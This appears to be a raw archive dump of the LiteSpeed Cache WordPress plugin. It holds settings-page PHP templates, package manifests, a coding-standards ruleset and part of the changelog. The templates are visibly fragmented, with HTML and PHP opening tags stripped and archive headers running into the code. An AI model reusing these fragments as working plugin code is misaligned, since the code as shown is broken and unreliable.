    cls( 'Cloud' )->activated() ) : ?>



    : add_filter( "litespeed_ucss_per_pagetype", "__return_true" );' ); ?> _check_overwritten( 'optm-ucss_per_pagetype' ); ?> conf( Base::O_OPTM_UCSS ) && ! $this->conf( Base::O_OPTM_CSS_COMB ) ) : ?>
    ' . esc_html( Lang::title( Base::O_OPTM_CSS_COMB ) ) . '', '' . esc_html__( 'OFF', 'litespeed-cache' ) . '' ); ?>

    ' . esc_html( Utility::readable_time( $ucss_summary['last_request'] ) ) . ''; ?>

    ' . esc_html( $ucss_summary['last_spent'] ) . 's'; ?>

    ( )

    $queue_val ) : if ( $i++ > 20 ) : echo '...'; break; endif; if ( ! is_array( $queue_val ) ) { continue; } if ( ! empty( $queue_val['_status'] ) ) { echo ''; } echo esc_html( $queue_val['url'] ); if ( ! empty( $queue_val['_status'] ) ) { echo ''; } $pos = strpos( $queue_key, ' ' ); if ( $pos ) { echo ' (' . esc_html__( 'Vary Group', 'litespeed-cache' ) . ':' . esc_html( substr( $queue_key, 0, $pos ) ) . ')'; } if ( $queue_val['is_mobile'] ) { echo ' 📱'; } if ( ! empty( $queue_val['is_webp'] ) ) { echo ' ' . wp_kses_post( $next_gen ); } echo '
    '; endforeach; ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    ' . esc_html( Lang::title( Base::O_GUEST ) ) . '' ); ?>
    ' . esc_html( Lang::title( Base::O_OPTM_CSS_ASYNC ) ) . '' ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    ' . esc_html( Lang::title( Base::O_OPTM_CSS_COMB ) ) . '' ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    cls( 'Cloud' )->activated() ) : ?>




    ' . esc_html__( 'ON', 'litespeed-cache' ) . '' ); ?>
    : data-no-async="1"' ); ?> conf( Base::O_OPTM_CSS_ASYNC ) && $this->conf( Base::O_OPTM_CSS_COMB ) && $this->conf( Base::O_OPTM_UCSS ) && $this->conf( Base::O_OPTM_UCSS_INLINE ) ) : ?>
    ' . esc_html( Lang::title( Base::O_OPTM_UCSS_INLINE ) ) . '' ); ?>

    ' . esc_html( Utility::readable_time( $css_summary['last_request_ccss'] ) ) . ''; ?>

    ' . esc_html( $css_summary['last_spent_ccss'] ) . 's'; ?>

    ( )

    $queue_val ) : if ( $i++ > 20 ) : echo '...'; break; endif; if ( ! is_array( $queue_val ) ) { continue; } if ( ! empty( $queue_val['_status'] ) ) { echo ''; } echo esc_html( $queue_val['url'] ); if ( ! empty( $queue_val['_status'] ) ) { echo ''; } $pos = strpos( $queue_key, ' ' ); if ( $pos ) { echo ' (' . esc_html__( 'Vary Group', 'litespeed-cache' ) . ':' . esc_html( substr( $queue_key, 0, $pos ) ) . ')'; } if ( $queue_val['is_mobile'] ) { echo ' 📱'; } if ( ! empty( $queue_val['is_webp'] ) ) { echo ' ' . wp_kses_post( $next_gen ); } echo '
    '; endforeach; ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id, array( esc_html__( 'Default', 'litespeed-cache' ), 'Swap' ) ); ?>
    font-display', '@font-face' ); ?>
    ' . esc_html__( 'Swap', 'litespeed-cache' ) . '' ); ?>
    plugins/litespeed-cache/tpl/page_optm/settings_media_exc.tpl.php000064400000007574152335264760021215 0ustar00

    title( $option_id ); ?> build_textarea( $option_id ); ?>


    : litespeed_media_lazy_img_excludes' ); ?> data-no-lazy="1"' ); ?>
    title( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    _uri_usage_example(); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    plugins/litespeed-cache/tpl/page_optm/settings_html.tpl.php000064400000014507152335264760020235 0ustar00

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    : //www.example.com
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    : https://example.com
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>

    <!-- A comment that needs to be here -->', 'A comment that needs to be here' ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>

    ⚠️
    : &_litespeed_rm_qs=0' ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    <noscript>' ); ?>
    plugins/litespeed-cache/tpl/page_optm/entry.tpl.php000064400000003761152335264760016512 0ustar00 esc_html__( 'CSS Settings', 'litespeed-cache' ), 'settings_js' => esc_html__( 'JS Settings', 'litespeed-cache' ), 'settings_html' => esc_html__( 'HTML Settings', 'litespeed-cache' ), 'settings_media' => esc_html__( 'Media Settings', 'litespeed-cache' ), 'settings_vpi' => esc_html__( 'VPI', 'litespeed-cache' ), 'settings_media_exc' => esc_html__( 'Media Excludes', 'litespeed-cache' ), 'settings_localization' => esc_html__( 'Localization', 'litespeed-cache' ), 'settings_tuning' => esc_html__( 'Tuning', 'litespeed-cache' ), 'settings_tuning_css' => esc_html__( 'Tuning', 'litespeed-cache' ) . ' - CSS', ); ?>

    v

    form_action(); // Include all tpl for faster UE foreach ( $menu_list as $tab_key => $tab_val ) { ?>
    form_end(); ?>
    plugins/litespeed-cache/tpl/page_optm/settings_tuning.tpl.php000064400000014057152335264760020575 0ustar00roles as $k => $v ) { $roles[ $k ] = $v['name']; } ksort( $roles ); ?>

    title( $option_id ); ?> build_textarea( $option_id ); ?>

    : litespeed_optm_js_delay_inc' ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>

    : litespeed_optimize_js_excludes' ); ?> data-no-optimize="1"' ); ?>
    : https://github.com/litespeedtech/lscache_wp/blob/dev/data/js_excludes.txt
    title( $option_id ); ?> build_textarea( $option_id ); ?>

    : litespeed_optm_js_defer_exc' ); ?> data-no-defer="1"' ); ?>
    : https://github.com/litespeedtech/lscache_wp/blob/dev/data/js_defer_excludes.txt
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    ' . esc_html( Lang::title( Base::O_GUEST ) ) . '' ); ?>
    : litespeed_optm_gm_js_exc' ); ?> data-no-defer="1"' ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    _uri_usage_example(); ?>
    : litespeed_optm_uri_exc' ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?>
    $role_title ) { $this->build_checkbox( $option_id . '[]', $role_title, $this->cls( 'Conf' )->in_optm_exc_roles( $role_id ), $role_id ); } ?>
    plugins/litespeed-cache/tpl/page_optm/settings_localization.tpl.php000064400000012271152335264760021755 0ustar00queue_count(); ?> cls( 'Avatar' )->need_db() && ! $this->cls( 'Data' )->tb_exist( 'avatar' ) ) : ?>

    Table Creation guidance from LiteSpeed Wiki to finish setup.', 'litespeed-cache' ), 'href="https://www.litespeedtech.com/support/wiki/doku.php/litespeed_wiki:cache:lscwp:installation" target="_blank"' ) ); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>

    ' . esc_html( Utility::readable_time( $last_generated['last_request'] ) ) . ''; ?>

    :

    title( $option_id ); ?> build_input( $option_id ); ?> readable_seconds(); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 3600 ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>

    🚨 ' . esc_html( Lang::title( Base::O_OPTM_LOCALIZE_DOMAINS ) ) . '' ); ?>
    title( $option_id ); ?>

    #' ); ?>
    : https://www.example.com/one.js
    🚨
    plugins/litespeed-cache/tpl/page_optm/settings_media.tpl.php000064400000033217152335264760020347 0ustar00load_queue( 'lqip' ); $scaled_size = apply_filters( 'big_image_size_threshold', 2560, [], '', 0 ) . 'px'; ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>

    💡
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-long' ); ?>

    LITESPEED_PLACEHOLDER', 'wp-config.php' ); ?>
    data:image/gif;base64,R0lGODdhAQABAPAAAMPDwwAAACwAAAAAAQABAAACAkQBADs=' ); ?>
    data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7' ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-long' ); ?>

    {width} {height}' ); ?>
    {color}' ); ?>
    recommended( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id, null, null, 'color' ); ?>
    recommended( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>

    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?>

    recommended( $option_id ); ?> _validate_ttl( $option_id, 1, 20 ); ?>
    💡 ' . esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LQIP Cache', 'litespeed-cache' ) . '' ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?> x build_input( Base::O_MEDIA_LQIP_MIN_H, 'litespeed-input-short' ); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 10, 800 ); ?> _validate_ttl( Base::O_MEDIA_LQIP_MIN_H, 10, 800 ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    ' . esc_html__( 'ON', 'litespeed-cache' ) . '', '' . esc_html( Lang::title( Base::O_MEDIA_PLACEHOLDER_RESP_SVG ) ) . '' ); ?> ' . esc_html__( 'OFF', 'litespeed-cache' ) . '' ); ?>

    ' . esc_html( Utility::readable_time( $placeholder_summary['last_request'] ) ) . ''; ?>

    ' data-litespeed-cfm="">

    ( )

    $v ) { if ( $i++ > 20 ) { echo '...'; break; } echo esc_html( $v ); echo '
    '; } ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>

    ⚠️ : ' . esc_html( Lang::title( Base::O_MEDIA_LAZY ) ) . '' ); ?>
    : add_filter( "litespeed_media_ignore_remote_missing_sizes", "__return_true" );', '' . esc_html( Lang::title( Base::O_MEDIA_ADD_MISSING_SIZES ) ) . '' ); ?> _check_overwritten( Base::O_MEDIA_ADD_MISSING_SIZES ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 0, 100 ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    :
    API: big_image_size_threshold' ); ?>
    🚨
    * * * */ ?>
    plugins/litespeed-cache/tpl/page_optm/settings_js.tpl.php000064400000006637152335264760017712 0ustar00

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>

    🚨
    title( $option_id ); ?> build_switch( $option_id ); ?>
    ' . esc_html( Lang::title( Base::O_OPTM_JS_COMB ) ) . '' ); ?>
    title( $option_id ); ?> build_switch( $option_id, array( esc_html__( 'OFF', 'litespeed-cache' ), esc_html__( 'Deferred', 'litespeed-cache' ), esc_html__( 'Delayed', 'litespeed-cache' ) ) ); ?>


    🚨
    plugins/litespeed-cache/tpl/page_optm/settings_vpi.tpl.php000064400000012221152335264760020056 0ustar00load_queue( 'vpi' ); $vpi_service_hot = $this->cls( 'Cloud' )->service_hot( Cloud::SVC_VPI ); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>


    conf( Base::O_MEDIA_LAZY ) ) : ?>
    ⚠️ : ' . esc_html( Lang::title( Base::O_MEDIA_LAZY ) ) . '' ); ?>

    ' . esc_html( Utility::readable_time( $summary['last_request'] ) ) . ''; ?>

    ' data-litespeed-cfm="">

    ( )

    $v ) { if ( $i++ > 20 ) { echo '...'; break; } if ( ! is_array( $v ) ) { continue; } if ( ! empty( $v['_status'] ) ) { echo ''; } echo esc_html( $v['url'] ); if ( ! empty( $v['_status'] ) ) { echo ''; } $pos = strpos( $k, ' ' ); if ( $pos ) { echo ' (' . esc_html__( 'Vary Group', 'litespeed-cache' ) . ':' . esc_html( substr( $k, 0, $pos ) ) . ')'; } if ( $v['is_mobile'] ) { echo ' 📱'; } echo '
    '; } ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    plugins/litespeed-cache/tpl/inc/show_rule_conflict.php000064400000001647152335264760017242 0ustar00ExpiresDefault', '', '' ); // Other plugin left cache expired rules in .htaccess which will cause conflicts echo wp_kses_post( self::build_notice(self::NOTICE_YELLOW . ' lscwp-notice-ruleconflict', $err) ); plugins/litespeed-cache/tpl/inc/in_upgrading.php000064400000001020152335264760016001 0ustar00'; $rate_us = '' . sprintf( esc_html__( 'Rate %1$s on %2$s', 'litespeed-cache' ), '' . esc_html__( 'LiteSpeed Cache', 'litespeed-cache' ) . $stars . '', 'WordPress.org' ) . ''; $wiki = '' . esc_html__( 'Read LiteSpeed Documentation', 'litespeed-cache' ) . ''; $forum = '' . esc_html__( 'Visit LSCWP support forum', 'litespeed-cache' ) . ''; $community = '' . esc_html__( 'Join LiteSpeed Slack community', 'litespeed-cache' ) . ''; // Change the footer text if ( ! is_multisite() || is_network_admin() ) { $footer_text = $rate_us . ' | ' . $wiki . ' | ' . $forum . ' | ' . $community; } else { $footer_text = $wiki . ' | ' . $forum . ' | ' . $community; } plugins/litespeed-cache/tpl/inc/metabox.php000064400000003122152335264760014777 0ustar00_postmeta_settings as $key => $label ) { $existing_val = get_post_meta( $pid, $key, true ); if ( in_array( $key, array( 'litespeed_vpi_list', 'litespeed_vpi_list_mobile' ), true ) ) { if ( is_array( $existing_val ) ) { $existing_val = implode( PHP_EOL, $existing_val ); } ?>
    />
    plugins/litespeed-cache/tpl/inc/show_error_cookie.php000064400000001631152335264760017065 0ustar00', '' ); if (LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS') { $err .= ' ' . esc_html__('If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.', 'litespeed-cache'); } self::add_notice(self::NOTICE_YELLOW, $err); plugins/litespeed-cache/tpl/inc/modal.deactivation.php000064400000013447152335264760017120 0ustar00 'Temporary', 'text' => esc_html__('The deactivation is temporary', 'litespeed-cache'), 'id' => 'temp', 'selected' => true, ), array( 'value' => 'Performance worse', 'text' => esc_html__('Site performance is worse', 'litespeed-cache'), 'id' => 'performance', ), array( 'value' => 'Plugin complicated', 'text' => esc_html__('Plugin is too complicated', 'litespeed-cache'), 'id' => 'complicated', ), array( 'value' => 'Other', 'text' => esc_html__('Other', 'litespeed-cache'), 'id' => 'other', ), ); ?>


    ', '' ); ?>
    plugins/litespeed-cache/tpl/inc/check_if_network_disable_all.php000064400000001564152335264760021167 0ustar00network_conf( Base::NETWORK_O_USE_PRIMARY ) ) { return; } ?>

    plugins/litespeed-cache/tpl/inc/show_display_installed.php000064400000003255152335264760020113 0ustar00%s

    %s

    %s

    %s

    %s

    %s

    • %s
    • %s
    ', esc_html__( 'LiteSpeed Cache plugin is installed!', 'litespeed-cache' ), esc_html__( 'This message indicates that the plugin was installed by the server admin.', 'litespeed-cache' ), esc_html__( 'The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.', 'litespeed-cache' ), esc_html__( 'However, there is no way of knowing all the possible customizations that were implemented.', 'litespeed-cache' ), esc_html__( 'For that reason, please test the site to make sure everything still functions properly.', 'litespeed-cache' ), esc_html__( 'Examples of test cases include:', 'litespeed-cache' ), esc_html__( 'Visit the site while logged out.', 'litespeed-cache' ), esc_html__( 'Create a post, make sure the front page is accurate.', 'litespeed-cache' ) ); $buf .= sprintf( /* translators: %s: Link tags */ esc_html__( 'If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s.', 'litespeed-cache' ), '', '' ); $buf .= '

    ' . esc_html__( 'If you would rather not move at litespeed, you can deactivate this plugin.', 'litespeed-cache' ) . '

    '; self::add_notice( self::NOTICE_BLUE . ' lscwp-whm-notice', $buf ); plugins/litespeed-cache/tpl/inc/check_cache_disabled.php000064400000004003152335264760017366 0ustar00 esc_html__( 'To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.', 'litespeed-cache' ), 'link' => 'https://docs.litespeedtech.com/lscache/lscwp/faq/#why-do-the-cache-features-require-a-litespeed-server', ); } else { $reasons[] = array( 'title' => esc_html__( 'Please enable the LSCache Module at the server level, or ask your hosting provider.', 'litespeed-cache' ), 'link' => 'https://docs.litespeedtech.com/lscache/lscwp/#server-level-prerequisites', ); } } elseif ( ! defined( 'LITESPEED_ON' ) ) { $reasons[] = array( 'title' => esc_html__( 'Please enable LiteSpeed Cache in the plugin settings.', 'litespeed-cache' ), 'link' => 'https://docs.litespeedtech.com/lscache/lscwp/cache/#enable-cache', ); } if ( $reasons ) : ?>

    plugins/litespeed-cache/package-lock.json000064400000006221152335264760014476 0ustar00{ "name": "litespeed-cache", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "litespeed-cache", "license": "GPLv3", "devDependencies": { "@prettier/plugin-php": "^0.21.0", "prettier": "^3.0.3" } }, "node_modules/@prettier/plugin-php": { "version": "0.21.0", "resolved": "https://registry.npmjs.org/@prettier/plugin-php/-/plugin-php-0.21.0.tgz", "integrity": "sha512-vWC6HIUUfhvl/7F5IxVQ0ItGB/7ZY+jDlX7KsTqvfKMODW/zvzj8r1Ab4harS22+O3xxHykVVd5jvylmxMMctg==", "dev": true, "dependencies": { "linguist-languages": "^7.21.0", "mem": "^9.0.2", "php-parser": "^3.1.5" }, "peerDependencies": { "prettier": "^3.0.0" } }, "node_modules/linguist-languages": { "version": "7.27.0", "resolved": "https://registry.npmjs.org/linguist-languages/-/linguist-languages-7.27.0.tgz", "integrity": "sha512-Wzx/22c5Jsv2ag+uKy+ITanGA5hzvBZngrNGDXLTC7ZjGM6FLCYGgomauTkxNJeP9of353OM0pWqngYA180xgw==", "dev": true }, "node_modules/map-age-cleaner": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz", "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==", "dev": true, "dependencies": { "p-defer": "^1.0.0" }, "engines": { "node": ">=6" } }, "node_modules/mem": { "version": "9.0.2", "resolved": "https://registry.npmjs.org/mem/-/mem-9.0.2.tgz", "integrity": "sha512-F2t4YIv9XQUBHt6AOJ0y7lSmP1+cY7Fm1DRh9GClTGzKST7UWLMx6ly9WZdLH/G/ppM5RL4MlQfRT71ri9t19A==", "dev": true, "dependencies": { "map-age-cleaner": "^0.1.3", "mimic-fn": "^4.0.0" }, "engines": { "node": ">=12.20" }, "funding": { "url": "https://github.com/sindresorhus/mem?sponsor=1" } }, "node_modules/mimic-fn": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz", "integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==", "dev": true, "engines": { "node": ">=12" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/p-defer": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz", "integrity": "sha512-wB3wfAxZpk2AzOfUMJNL+d36xothRSyj8EXOa4f6GMqYDN9BJaaSISbsk+wS9abmnebVw95C2Kb5t85UmpCxuw==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/php-parser": { "version": "3.1.5", "resolved": "https://registry.npmjs.org/php-parser/-/php-parser-3.1.5.tgz", "integrity": "sha512-jEY2DcbgCm5aclzBdfW86GM6VEIWcSlhTBSHN1qhJguVePlYe28GhwS0yoeLYXpM2K8y6wzLwrbq814n2PHSoQ==", "dev": true }, "node_modules/prettier": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.0.3.tgz", "integrity": "sha512-L/4pUDMxcNa8R/EthV08Zt42WBO4h1rarVtK0K+QJG0X187OLo7l699jWw0GKuwzkPQ//jMFA/8Xm6Fh3J/DAg==", "dev": true, "bin": { "prettier": "bin/prettier.cjs" }, "engines": { "node": ">=14" }, "funding": { "url": "https://github.com/prettier/prettier?sponsor=1" } } } } plugins/litespeed-cache/phpcs.ruleset.xml000064400000005450152335264760014606 0ustar00 WordPress with no whitespace changes and relaxed rules 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 cli/ lib/ src/ tpl/ thirdparty/ autoload.php litespeed-cache.php plugins/litespeed-cache/package.json000064400000001664152335264760013556 0ustar00{ "name": "litespeed-cache", "description": "High-performance page caching and site optimization from LiteSpeed", "license": "GPLv3", "scripts": { "format-check": "vendor/bin/phpcs --standard=phpcs.ruleset.xml cli/ lib/ src/ tpl/ thirdparty autoload.php litespeed-cache.php", "install-composer-packages": "composer require --dev squizlabs/php_codesniffer:^3.12 wp-coding-standards/wpcs:^3.1 dealerdirect/phpcodesniffer-composer-installer:^1.0 && vendor/bin/phpcs --config-set installed_paths vendor/wp-coding-standards/wpcs,vendor/phpcsstandards/phpcsutils,vendor/phpcsstandards/phpcsextra", "sniff-check": "vendor/bin/phpcs --standard=phpcs.ruleset.xml cli/ lib/ src/ tpl/ thirdparty autoload.php litespeed-cache.php", "wpformat": "vendor/bin/phpcbf --standard=phpcs.ruleset.xml cli/ lib/ src/ tpl/ thirdparty autoload.php litespeed-cache.php" }, "devDependencies": { "@prettier/plugin-php": "^0.21.0", "prettier": "^3.0.3" } } plugins/litespeed-cache/changelog.txt000064400000405261152335264760013761 0ustar00 = 5.6 - Aug 1 2023 = * 🌱**Page Optimize** New JS Delay Includes option. (Mitchell Krog/Gerard Reches/Ignacy Hołoga) * **Crawler** Sitemap can use search for URL now. * **GUI** Restrict the scope of balloon CSS rules to avoid conflicts. (#567) * **Object Cache** Detect Memcached in more situations. (#568) * **API** Support `litespeed_purged_front` hook. (Umberto Fiorelli) = 5.5.1 - Jul 19 2023 = * 🐞**Image Optimization** Fixed a bug where WebP replacements couldn't be pulled without optimizing the original images. * 🐞**Image Optimization** Invalid images will now be removed when sending requests to the server. (#138993) * **Cloud** Added support for error codes `unpulled_images` and `blocklisted`. (Tynan) = 5.5 - Jun 20 2023 = * 🌱**Crawler** Can now use multiple sitemaps. (Tobolo/Tim Nolte) * 🌱**Crawler** Now runs asynchronously when manually invoked. * 🌱**Crawler** Now runs asynchronously when invoked from cron. * 🐞**Crawler** Fixed the realtime status bug when crawling. * **Crawler** Summary page now displays server load. (Ruikai) * 🐞**Page Optimize** Fixed an issue where UCSS could not be generated for error pages. (james58899) #556 * 🌱**Image Optimize** Now pulls images asynchronously. * **Image Optimize** Now prevents concurrent requests via a locking mechanism. * **Image Optimize** The process can now bypass invalid image records and continue. * 🐞**Image Optimize** Fixed an issue where images ready for optimization might have to wait for new images to be added before sending the request. * **Cloud** Replaced dashboard links with login/link to my.quic.cloud actions. * **GUI** Added indicators to show when certain options are passively enabled by Guest Mode. * **Htaccess** Added a noabort rule to support asynchronous crawling. * **Htaccess** The "Do Not Cache User Agents" option is now case-insensitive. (Ellen Dabo) * **General** The "Server IP" option now allows IPv4 format only. (Ruikai) * **Misc** Every page's closing HTML comments now displays UCSS/CCSS status. * **Object** Fixed a warning for null get_post_type_object. * **Object** Object_Cache::delete now always returns a boolean value. * **Cache** Fixed advanced-cache.php file warnings for WordPress versions less than 5.3. * **Debug** Added debug logging to record the plugin's total processing time. * **API** HTML minification can now be bypassed via the litespeed_html_min filter. = 5.4 - Apr 19 2023 = * **Image Optimize** Refactored DB storage for this feature. * **Image Optimize** Reduced DB table size. * **Image Optimize** Existing `img_optm` DB tables will have their data gradually transitioned to the new storage format with this update. Once an `img_optm` table is empty, it won't be used anymore. * **Page Optimize** Enabled WebP support for Googlebot User Agent. = 5.3.3 - Feb 22 2023 = * **Page Optimize** Excluded Jetpack stats JS. * **DB Optimize** Fixed DB Optm SQL for revision postmeta. * **Cache** Fixed an undefined array key warning. * **Purge** Prevented undefined array key warning when widgets are disabled. * **Object** Fixed dynamic property deprecation warnings. * **Admin** Safely redirect to homepage if referer is unknown. * **Activation** Check that item slug exists first. * **Cache** Prevented cache header to send globally if header part already closed. * **CSS** Improved string handling for CSS minifier. * **Debug** Fixed undefined array key warnings. * **Misc** Fixed implicit conversion in random string generation function `Str::rrand`. = 5.3.2 - Jan 10 2023 = * **Object** Fixed object cache lib incr, decr functions (thanks bdrbros/DANIEL) #516 * **Database Optimize** Database optimizer now handles postmeta when cleaning revisions #515 * **Cache** Made nocache the default for 4xx/5xx response codes. * **Cache** Default cache TTL settings removed for 403 response code, changed to 10 mins for 500 response code. * **GUI** Added a description for the redetect nodes function. * **GUI** Added a description for the refresh button sync function. = 5.3.1 - Dec 12 2022 = * **CLI** Presets feature is now usable from the CLI. (xLukii) * **CLI** Added 'import_remote' for litespeed-option to enable importing options from URLs. (xLukii) * **Cache** Added LiteSpeed headers to site health check for full page cache. * **Crawler* Fixed unauthorized crawler toggle operation. (#CVE-2022-46800) * **UCSS** Fixed a bug where items weren't added back to the UCSS queue after purging. * **Page Optimize** Fixed a bug where generated CSS would return 404 after upgrading via CLI. * **3rd** Fixed a bug where a WooCommerce session doesn't exist when checking cart, notices (Jason Levy/Gilles) * **GUI** Made LiteSpeed admin notice icon grayscale to avoid distraction. (martinsauter) * **GUI** Fixed RTL style for notification icon. * **API** Added a new hook `litespeed_optm_uri_exc` to exclude URI from page optimization. * **API** Excluded `.well-known` path from page optimization. = 5.3 - Oct 31 2022 = * 🌱**Presets** New `Presets` feature and menu item. * 🌱**UCSS** New option `UCSS File Excludes and Inline` to increase page score. (Ankit) * **UCSS** When UCSS is purged, automatically append URL to UCSS generation queue. (Ankit) * **Page Optimize** Removed a redundant `defer` attribute from Lazy Load image library usage. (#928019) * **Image Optimize** Dropped `Create WebP Versions` setting. Will automatically enable when `Image WebP Replacement` is activated. * **Cloud** Fixed a bug where internal updates were delayed for API keys. * **Cloud** Improved auto alias feature by waiting for second request from alias domain validation before removing a pending alias. * **Purge** Automatically Purge All when plugin auto update is done. * **Purge** Fixed a potential PHP8 error that occurred when removing unused widgets. (acsnaterse) * **Cache** Fixed an infinite 301 redirection caused by UTM-encoded link. * **CLI** Added syntax examples for values that include line breaks (xLukii) * **CLI** Purge requests will now be included with the original request to avoid potential CSS/JS 404 issues. * **ESI** Check all user roles for cache vary and page optimization excludes. * **GUI** Added a LiteSpeed icon to admin message banners to indicate the banners are from our plugin. (Michael D) * **Crawler** Fixed a cache-miss issue that occurred when Guest Mode was ON and WebP Replacement was OFF. * **3rd** Remove WooCommerce private cache. * **3rd** Removed LiteSpeed metabox from ACF field group edit page. (keepmovingdk) = 5.2.1 - Sep 7 2022 = * 🐞**Core** Fixed a fatal error that occurred when uninstalling. (#894556 Hostinger) * **Dash** Show partner info on the dashboard for partner-tier QC accounts. * **UCSS** Auto-purge UCSS on post update. (Ankit) * 🕸️**Crawler** Respect the `LITESPEED_CRAWLER_DISABLE_BLOCKLIST` constant for unexpected results too. (Abe) = 5.2 - Aug 17 2022 = * 🌱**UCSS** Added UCSS message queue to improve service quality and reliability * 🐞**VPI** Fixed conflict w/ image lazyload; used HTML before image lazyload to avoid invalid `data:base64` results. * **VPI** Changed VPI Cron default setting to OFF. * **VPI** Automatically resend requests when VPI result contains invalid `data:` image value. * **Conf** Fixed an issue with URI Excludes, where paths using both ^ and $ were not correctly excluded (Eric/Abe) * **Conf** Auto corrected `WP_CONTENT_URL` protocol if it was explicitly set to `http://`. * **Cloud** No longer sync the configuration to QUIC.cloud if configuration is unchanged. * **Cloud** Appended home_url value into synced configuration data for wp-content folder path correction. * 🕸️**Crawler** Improved compatibility with server `open_basedir` PHP setting limit when detecting load before crawling. (Tom Robak/mmieszalski) = 5.1 - Aug 1 2022 = * 🌱**Toolbox** Debug log can now show Purge/Crawler logs as well. (Tynan) * **UCSS** Prepared for future message queue. * **UCSS** Moved UCSS class to its own file. * **3rd** Added 3rd-party support for WC PDF Product Vouchers. (Tynan) * **Core** Fixed potential PHP warning when saving summary data. (Sarah Richardson) * **Purge** Purge can now clear the summary correctly. (Kevin) * **VPI** Added `queue_k` to API notification. = 5.0.1 - Jul 27 2022 = * 🐞**Cloud** Fixed a potential PHP error that could occur with the cloud service summary. (Bruno Cantuaria) * **3rd** Added Autoptimize back to compatibility list. = 5.0.0.1 - Jul 26 2022 = * 🔥🐞**Cloud** Fixed an issue with the cloud request timestamp update which causes a usage sync failure. (great thanks to Kevin) = 5.0 - Jul 25 2022 = * 🌱**VPI** Added Viewport Images feature to LiteSpeed Options metabox on Post Edit page. * 🌱**CDN** Added Auto CDN Setup feature for simple QUIC.cloud CDN setup. (Kevin) * 🌱**Page Optimize** Automatically cache remote CSS/JS files when fetching for optimization (Lauren) * 🌱**Cache** Added LiteSpeed Options for page-level cache control on Post Edit page. (denisgomesfranco) * 🌱**Cloud** Auto Alias feature. * 🌱**Debug** Added `Debug String Excludes` option. (Hanna) * 🌱**UCSS** Added `Purge this page - UCSS` option to Admin Bar dropdown menu. (Ankit) * 🌱**Guest** Added `litespeed_guest_off=1` URL query string parameter to bypass Guest Mode. (cbdfactum) * 🐞**Page Optimize** Fixed an issue where CSS anchors could be wrongly converted to a full path when minifying. (Tynan) * **Page Optimize** Bypass CCSS/UCSS generation when a self-crawled CSS resource returns a 404 code. (Abe) * **Object** Allow `LSCWP_OBJECT_CACHE` predefined to turn off 